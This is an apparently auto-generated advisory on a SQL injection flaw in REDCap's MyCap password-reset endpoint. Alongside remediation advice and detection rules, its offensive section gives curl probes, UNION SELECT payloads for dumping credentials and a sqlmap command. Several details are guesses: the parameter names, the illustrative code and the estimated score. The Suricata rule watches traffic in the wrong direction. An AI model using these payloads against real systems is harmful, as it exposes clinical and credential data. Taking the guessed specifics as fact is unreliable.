CVE-2023-38825

Executive Summary

CVE-2023-38825 is a SQL injection vulnerability discovered in Vanderbilt REDCap, a widely used electronic data capture (EDC) platform for clinical research. The flaw resides in the password reset mechanism of the MyCapMobileApp/update.php endpoint. An unauthenticated, remote attacker can inject arbitrary SQL commands through the password reset process, leading to the exfiltration of sensitive information from the underlying database. This includes patient data, research records, and authentication credentials. The vulnerability affects all versions of REDCap prior to v13.8.0. No public proof-of-concept (PoC) code or exploit has been released at the time of this analysis, but the technical details are sufficient for a skilled attacker to develop one. The vendor has released a patched version (v13.8.0) that sanitizes user input in the affected endpoint.

Supply Chain & Package Security

REDCap is a proprietary web application typically deployed on-premises by research institutions. It is not distributed via NPM, PyPI, Go, or Ruby registries. Therefore, supply chain package security concerns are not directly applicable. However, organizations should verify the integrity of their REDCap installation files and ensure they are obtained from the official Vanderbilt REDCap repository or authorized distributors.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder or an error. Based on the vulnerability characteristics, a more accurate assessment is provided below:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to send crafted HTTP requests.
• Privileges Required (PR): None (N) – No authentication is needed to trigger the SQL injection.
• User Interaction (UI): None (N) – The attack does not require any user action.
• Scope (S): Unchanged (U) – The vulnerability does not affect resources beyond its security scope.
• Confidentiality (C): High (H) – Successful exploitation can lead to the disclosure of sensitive database contents.
• Integrity (I): None (N) – The vulnerability primarily allows data retrieval, not modification.
• Availability (A): None (N) – The vulnerability does not impact system availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Estimated Base Score: 7.5 (High)

Threat Level: High. The combination of network accessibility, low complexity, no authentication, and high confidentiality impact makes this a critical risk for any organization using an unpatched REDCap instance.

Deep Dive & Mechanics

The vulnerability is located in the MyCapMobileApp/update.php script, which handles password reset requests from the MyCap mobile application. The password reset mechanism likely accepts a user-supplied token or identifier (e.g., a reset code or email address) and uses it directly in a SQL query without proper sanitization or parameterization.

Attack Flow:

1. Reconnaissance: The attacker identifies a REDCap instance (e.g., via Shodan dorks like http.title:"REDCap").
2. Endpoint Discovery: The attacker probes the /MyCapMobileApp/update.php endpoint. This endpoint is typically used by the MyCap mobile app to synchronize data or perform password resets.
3. Injection Point: The attacker sends a crafted HTTP POST request to the endpoint with malicious SQL injected into one of the parameters (likely reset_token, email, or user_id).
4. Exploitation: The vulnerable code concatenates the attacker-supplied input directly into a SQL query. For example:

   SELECT * FROM users WHERE reset_token = 'INJECTED_VALUE'
   

   The attacker can break out of the string context and append malicious SQL, such as:

   ' OR '1'='1' UNION SELECT username, password FROM users --
   

5. Data Exfiltration: The database returns the results of the injected query, which are then reflected in the HTTP response. The attacker can extract sensitive data, including user credentials, patient records, and research data.

Root Cause: The lack of prepared statements or parameterized queries in the update.php script. The developer likely used string concatenation to build the SQL query, failing to escape user input.

Vulnerable vs. Patched Code

The following code snippets illustrate the vulnerable and patched versions of the password reset logic.

Vulnerable Code (Pre-v13.8.0):

// Vulnerable: Direct string concatenation
$reset_token = $_POST['reset_token'];
$query = "SELECT * FROM users WHERE reset_token = '$reset_token'";
$result = mysqli_query($conn, $query);

Patched Code (v13.8.0+):

// Patched: Using prepared statements
$reset_token = $_POST['reset_token'];
$stmt = $conn->prepare("SELECT * FROM users WHERE reset_token = ?");
$stmt->bind_param("s", $reset_token);
$stmt->execute();
$result = $stmt->get_result();

The patched version uses a prepared statement with a parameterized query, which ensures that the user input is treated as data, not executable SQL code. This completely mitigates the SQL injection vulnerability.

Exploitation & Lab Setup

Red Team (Offensive)

Objective: Exploit the SQL injection to extract sensitive data from the REDCap database.

Prerequisites:

• A target REDCap instance running a version prior to v13.8.0.
• Network access to the /MyCapMobileApp/update.php endpoint.

Exploitation Steps:

1. Identify the Injection Point: Use a web proxy (e.g., Burp Suite) or curl to send a test request to the endpoint. Look for parameters like reset_token, email, or user_id.

   curl -X POST https://target.redcap.edu/MyCapMobileApp/update.php \
     -d "reset_token=test123"
   

   If the response contains an error message like "Invalid token" or a database error, the parameter is likely injectable.

2. Confirm SQL Injection: Inject a single quote (') to break the SQL syntax.

   curl -X POST https://target.redcap.edu/MyCapMobileApp/update.php \
     -d "reset_token='"
   

   A database error (e.g., "You have an error in your SQL syntax") confirms the vulnerability.

3. Extract Database Schema: Use UNION SELECT to retrieve table and column names from the information_schema.

   ' UNION SELECT 1,2,3,table_name,5,6 FROM information_schema.tables --
   

   Adjust the number of columns to match the original query. The response will reveal table names.

4. Dump User Credentials: Once the users table is identified, extract usernames and password hashes.

   ' UNION SELECT 1,2,3,username,password_hash,6 FROM users --
   

5. Automate with SQLMap: For efficiency, use SQLMap to automate the exploitation.

   sqlmap -u "https://target.redcap.edu/MyCapMobileApp/update.php" \
     --data="reset_token=test123" \
     --batch --dbs
   

Expected Output: The attacker gains access to the entire REDCap database, including patient data, research records, and administrative credentials.

Blue Team (Defensive)

Objective: Detect and block exploitation attempts.

Detection Strategy:

1. Monitor HTTP Requests:

   • Look for requests to /MyCapMobileApp/update.php containing suspicious characters like single quotes ('), double hyphens (--), or SQL keywords (UNION, SELECT, OR).
   • Alert on multiple failed password reset attempts from the same IP address.

2. Analyze Database Logs:

   • Enable SQL query logging on the database server.
   • Monitor for queries containing unexpected syntax or multiple statements.

3. Deploy WAF Rules:

   • Use a Web Application Firewall (WAF) to block SQL injection patterns.
   • Example ModSecurity rule:

     SecRule REQUEST_URI "/MyCapMobileApp/update.php" \
       "chain,id:1001,deny,msg:'SQL Injection Attempt'"
     SecRule ARGS "@detectSQLi" "t:none"
     

4. Honeypot:

   • Deploy a fake REDCap instance to lure attackers and gather intelligence.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /MyCapMobileApp/update.php with parameters containing SQL syntax (e.g., ', --, UNION, SELECT).
• Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
• High volume of requests to the password reset endpoint from a single IP address.

Host IOCs:

• Database logs showing unexpected queries with UNION SELECT or OR '1'='1'.
• Web server logs (e.g., Apache access.log) containing SQL injection patterns in the request body.
• Presence of SQLMap or similar tools on an internal host.

File IOCs:

• Modified or newly created files in the REDCap webroot (e.g., webshells).
• Unusual entries in the REDCap application logs.

Detection Engineering

YARA Rule

rule CVE_2023_38825_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2023-38825 in REDCap"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-38825"
        severity = "high"

    strings:
        $sqli_pattern1 = /reset_token\s*=\s*['\"][^'\"]*['\"]\s*['\"]?\s*OR\s+['\"]?\s*1\s*=\s*1/i
        $sqli_pattern2 = /reset_token\s*=\s*['\"][^'\"]*['\"]\s*UNION\s+SELECT/i
        $sqli_pattern3 = /reset_token\s*=\s*['\"][^'\"]*['\"]\s*--/i
        $endpoint = "/MyCapMobileApp/update.php"

    condition:
        any of ($sqli_pattern*) and $endpoint
}

Sigma Rule

title: CVE-2023-38825 REDCap SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against the REDCap MyCapMobileApp/update.php endpoint.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38825
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/MyCapMobileApp/update.php'
        cs-uri-query|contains: 
            - 'reset_token='
    keywords:
        - "'"
        - "OR"
        - "UNION"
        - "SELECT"
        - "--"
    condition: selection and keywords
falsepositives:
    - Legitimate password reset requests with special characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-38825 REDCap SQL Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/MyCapMobileApp/update.php";
    http_uri;
    content:"reset_token=";
    http_client_body;
    pcre:"/(\x27|OR|UNION|SELECT|--)/Ri";
    reference:cve,2023-38825;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade REDCap: The primary remediation is to upgrade to REDCap version 13.8.0 or later. This version contains the fix for the SQL injection vulnerability.
2. Apply Virtual Patching: If an immediate upgrade is not possible, deploy a WAF rule to block SQL injection patterns targeting /MyCapMobileApp/update.php.
3. Restrict Network Access: Limit access to the REDCap web interface to trusted IP addresses or VPN users.
4. Review Database Logs: Check database logs for any signs of prior exploitation.

Long-Term Mitigations:

1. Secure Coding Practices: Ensure all database queries use prepared statements or parameterized queries.
2. Regular Security Audits: Conduct periodic code reviews and penetration tests.
3. Input Validation: Implement strict input validation and sanitization for all user-supplied data.
4. Least Privilege: Ensure the database user used by REDCap has minimal necessary privileges (e.g., no DROP or CREATE permissions).
5. Monitoring: Continuously monitor web server and database logs for suspicious activity.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Expert System. For questions or further analysis, contact your Valters IT representative.